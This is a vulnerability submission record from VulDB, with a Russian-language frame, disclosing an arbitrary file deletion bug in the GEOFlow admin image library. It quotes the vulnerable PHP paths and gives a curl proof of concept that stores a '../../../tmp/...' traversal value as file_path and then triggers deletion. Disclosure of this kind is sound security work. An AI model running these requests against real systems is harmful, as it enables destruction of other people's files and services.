Отправить #893852: yaojingang GEOFlow commit/2aeec4f449c9fa6790392723150c9151b6a4a337 Path Traversal

## Arbitrary File Deletion via Image Library Cleanup

### Root Cause

Regular admins can authenticate to `/api/v1/auth/login` and receive an API token with full available scopes, including `materials:write`. The materials API accepts an arbitrary `file_path` when creating image items. Later, the admin-side image library deletion flow reads that stored `file_path` and deletes it from disk.

Relevant code path:

```php
// app/Services/Api/ApiAdminAuthService.php
return $this->tokenService->createToken(
...,
$this->tokenService->getAvailableScopes(),
...
);
```

```php
// app/Services/GeoFlow/MaterialLibraryService.php
$row = Image::query()->create([
...
'file_path' => $filePath,
...
]);
```

```php
// app/Http/Controllers/Admin/ImageLibraryController.php
$filePaths = Image::query()->where('library_id', $libraryId)->pluck('file_path')->filter()->values()->all();
...
$legacyAbsolutePath = base_path($path);
if (is_file($legacyAbsolutePath) && ! @unlink($legacyAbsolutePath)) {
$failed++;
}
```

For paths that do not start with `storage/` or `uploads/`, the code falls back to:

```php
$legacyAbsolutePath = base_path($path);
if (is_file($legacyAbsolutePath)) {
@unlink($legacyAbsolutePath);
}
```

There is no canonicalization, no traversal check, and no allowlist of application-managed files. As a result, a regular admin can cause deletion of arbitrary local files writable by the PHP process.

Impact: arbitrary file deletion, application DoS, configuration loss, and deletion outside the project root when `..` is accepted and the PHP process has permission.

### Trigger Flow

Attack preconditions:

- A regular admin account, or an authenticated admin browser session obtained via the XSS issue above.
- The target file must be writable by the PHP process.

Trigger flow:

1. Authenticate to `/api/v1/auth/login`.
2. Create an image library, or use an existing writable one.
3. Create an image item with attacker-controlled `file_path`.
4. Delete that image library from `/geo_admin/image-libraries/{libraryId}/delete` or from the admin UI.
5. The backend uses the attacker-controlled `file_path` and deletes the referenced file.

### PoC

Use a harmless marker file first, for example `/tmp/geoflow-delete-me.txt`.

Important: the file must exist in the same filesystem namespace as the PHP process. In a containerized deployment, create it inside the application container, not only on the Docker host.

```bash
BASE=http://127.0.0.1:38080

# Example for the provided local Docker lab:
docker compose -f docker-compose.lab.yml \
--env-file .env.lab \
-p geoflow-lab \
exec -T app sh -lc 'printf test > /tmp/geoflow-delete-me.txt'

# 1. Login as a regular admin and copy the returned token.
curl -s "$BASE/api/v1/auth/login" \
-H 'Content-Type: application/json' \
-d '{"username":"<regular-admin>","password":"<password>"}'

# 2. Create an image library and copy data.item.id as <LIB_ID>.
curl -s "$BASE/api/v1/materials/image-libraries" \
-H "Authorization: Bearer <TOKEN>" \
-H 'Content-Type: application/json' \
-d '{"name":"poc","description":"poc"}'

# 3. Create an image item with an attacker-controlled file_path.
curl -s "$BASE/api/v1/materials/image-libraries/<LIB_ID>/items" \
-H "Authorization: Bearer <TOKEN>" \
-H 'Content-Type: application/json' \
-d '{"file_path":"../../../tmp/geoflow-delete-me.txt","filename":"x","original_name":"x","file_name":"x"}'
```

In the provided local lab, the application root is `/var/www/html`, so `../../../tmp/geoflow-delete-me.txt` resolves to `/tmp/geoflow-delete-me.txt`. In other deployments, the exact traversal depth may differ and should be adjusted relative to the application's real base path.

Then, while logged into `/geo_admin` as the same admin, delete that image library from the UI, or send a valid session-backed `POST` request to:

```text
/geo_admin/image-libraries/<LIB_ID>/delete
```

Expected result: the file referenced by `file_path` is deleted.

• Источник: ⚠️ https://github.com/yaojingang/GEOFlow
• Пользователь: iswangxy (UID 99909)
• Представление: 17.07.2026 09:11 (1 месяц назад)
• Модерация: 30.08.2026 16:44 (1 month later)
• Статус: принято
• Запись VulDB: 397159 [yaojingang GEOFlow до 2.1.0 Image Library Cleanup ImageLibraryController.php unlink file_path обход каталога]
• Баллы: 20